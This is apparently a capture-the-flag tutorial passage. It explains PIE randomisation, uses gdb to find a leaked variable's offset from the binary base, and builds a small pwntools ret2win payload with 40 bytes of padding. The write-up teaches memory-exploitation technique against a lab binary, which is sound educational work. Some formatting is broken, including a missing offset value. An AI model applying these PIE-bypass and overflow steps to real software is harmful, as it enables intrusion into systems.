These next few challenges will demonstrate a new security measure that introduces an interesting new challenge. This is a compile-time security measure that affects binary (identical to canaries).
Position Independent Executable (PIE) is a security measure that loads the file into a different virtual memory address. This means you can no longer hardcode values like function addresses or gadget locations.
In PIE executables, values in the executable are based on relative addressing rather than absolute addressing. Absolute addresses in PIE binaries are random while the offsets between memory locations are always constant. Since the instruction set cannot change after compilation, we always know how far main()
is from win()
.
How can we exploit this? All we need is one address to beat PIE. For example, if we know that main()
is 0x100
bytes from the binary's base address (the start of the binary), and we find the address of main()
for that run, we get the binary's base address, and from there, every other address. We can leak this value off the stack! We know that the return pointer is located on the stack and, much like a canary, can be leaked via format string. This value will always be a static offset away from the binary's base, enabling us to bypass PIE!
0x1000
. Why? In an Operating System, virtual memory is chunked into 0x1000
byte chunks called pages. Rather than the entire memory being randomized, the pages are randomized instead. Operating systems have a page table that points to each section of memory and defines the permissions for each section.The PIE executable is always loaded at the top of the page. Therefore, the base address must always be a multiple of 0x1000
.
We start these problems like normal: finding the padding to overflow the buffer. We've done plenty of these before, so I'll leave it to you to recognize the padding is 40
bytes.
From here, we need to leak one static address to determine the binary's base address. In this case, we're provided a hint:
hint @ 0x56539b7c1040
We want to figure out what this is. We can use gdb
to figure out what's going on at this address. I used the following gdb
instructions to reach a breakpoint after the value is printed:
$ gdb chall gef➤ b *(main+244) gef➤ r
This prints the following:
Our next challenge is PIE. Previously, the binary's base address was 0x400000.
This time the address will change. This is bypassed by leaking an address,
determining the base address from the leak, then finding our necessary items.
Like last time, we start with a hint @ 0x555555558040.
This means I need to find what's at that address. Let's see what's here in a few different forms until one is obvious.
gef➤ x/gx 0x555555558040 0x555555558040 <hint>: 0x00000000deadbeef gef➤ x/i 0x555555558040 0x555555558040 <hint>: out dx,eax gef➤ x/s 0x555555558040 0x555555558040 <hint>: <incomplete sequence \336>
It seems pretty clear it's a value. Either way, it's a named variable! We can check variable names using info variables
:
gef➤ info variables hint All variables matching regular expression "hint": File ../sysdeps/posix/getaddrinfo.c: 151: static const struct addrinfo default_hints; Non-debugging symbols: 0x0000555555558040 hint
Named variables always hold a static offset from the binary's base address. Therefore, we can use this to leak the base address and bypass PIE! Let's determine its offset from the base. Get the base address from this run using vmmap
:
gef➤ vmmap [ Legend: Code | Heap | Stack ] Start End Offset Perm Path 0x0000555555554000 0x0000555555555000 0x0000000000000000 r-- /ironforge/chall
This is where the binary starts (0x0000555555554000
). We can then compute the offset of hint
as .
gdb
is forced to only show offsets. This is what gdb
shows if the binary isn't running:gef➤ info variables hint All variables matching regular expression "hint": Non-debugging symbols: 0x0000000000004040 hint
This gives us a way to compute the base address! Once we leak the address of hint
from the output, we can get the binary's base address and, thus, any address we want!
From the program, we can tell we need to jump to win
. Once we have the base address, we can compute the address of win
from its offset:
gef➤ info functions win All functions matching regular expression "win": Non-debugging symbols: 0x000000000000150e win
This exploit will appear similar to Match Canary where we're provided the canary in a leak.
First, we need to receive the leak. In this case, the leak is at the end of a line, so I'll receive output until that point. Then, we need to remove the period and convert it to a hexadecimal.
p.recvuntil(b'hint @ ') leak = p.recvline().decode()[:-2] # removes '.' and linefeed '\n' at the end leak = int(leak, 16)
Then, we need the binary's base address:
base = leak - 0x4040 # offset computed above
Finally, we need a ret2win payload using the address with the given offset.
payload = b'A' * 40 payload += p64(base + 0x150e)
Putting this all together, we get a flag!